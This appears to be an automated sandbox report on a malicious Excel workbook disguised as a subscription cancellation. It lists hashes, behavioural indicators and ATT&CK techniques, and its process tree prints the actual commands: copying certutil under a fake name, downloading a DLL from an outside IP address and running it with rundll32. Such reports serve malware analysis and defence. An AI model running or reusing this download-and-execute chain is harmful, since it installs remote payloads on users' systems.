fd71a2fcc0b5dd0fb0dbff257839b67749f2cadf30e2d3dae7f0e941d93d24d3

General

Target

cancel_sub_VCP1234567890123.xlsb
Size

123KB
MD5

9e1ee4a42c381eabcf2cde38a1aae7c9
SHA1

015bb306d9e54001d433b3ac2e7212b864f54ae2
SHA256

fd71a2fcc0b5dd0fb0dbff257839b67749f2cadf30e2d3dae7f0e941d93d24d3
SHA512

d8955c76657c68542ebcd1fc0b14b69917976892a2005ff0fcace3754200d52c4557235e083b76f4115cc940281dbe77a8e390e8bd18fbe9d5cdb128191580ec

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1340	788	cmd.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2036	788	cmd.exe	24

Executes dropped EXE 1 IoCs

pid	Process
928	TTObk2.exe

Loads dropped DLL 1 IoCs

pid	Process
788	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
788	EXCEL.EXE

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
788	EXCEL.EXE
788	EXCEL.EXE
788	EXCEL.EXE
788	EXCEL.EXE
788	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 1340	788	EXCEL.EXE	29
PID 788 wrote to memory of 1340	788	EXCEL.EXE	29
PID 788 wrote to memory of 1340	788	EXCEL.EXE	29
PID 788 wrote to memory of 1340	788	EXCEL.EXE	29
PID 788 wrote to memory of 928	788	EXCEL.EXE	31
PID 788 wrote to memory of 928	788	EXCEL.EXE	31
PID 788 wrote to memory of 928	788	EXCEL.EXE	31
PID 788 wrote to memory of 928	788	EXCEL.EXE	31
PID 788 wrote to memory of 2036	788	EXCEL.EXE	33
PID 788 wrote to memory of 2036	788	EXCEL.EXE	33
PID 788 wrote to memory of 2036	788	EXCEL.EXE	33
PID 788 wrote to memory of 2036	788	EXCEL.EXE	33
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35
PID 2036 wrote to memory of 904	2036	cmd.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\cancel_sub_VCP1234567890123.xlsb
1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\TTObk2 && copy /b %SystemRoot%\System32\certutil.exe %programdata%\TTObk2\TTObk2.exe
  2⤵
  - Process spawned unexpected child process
  PID:1340
- C:\programdata\TTObk2\TTObk2.exe
  "C:\programdata\TTObk2\TTObk2.exe" -urlcache -f -split http://195.123.235.51 c:\programdata\TTObk2\TTObk2.dll
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\TTObk2\TTObk2.dll,StartW
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32 C:\ProgramData\TTObk2\TTObk2.dll,StartW
    3⤵
    PID:904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/788-59-0x000000002FDB1000-0x000000002FDB4000-memory.dmp

Filesize
12KB

Download
memory/788-60-0x0000000071711000-0x0000000071713000-memory.dmp

Filesize
8KB

Download
memory/788-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/928-67-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

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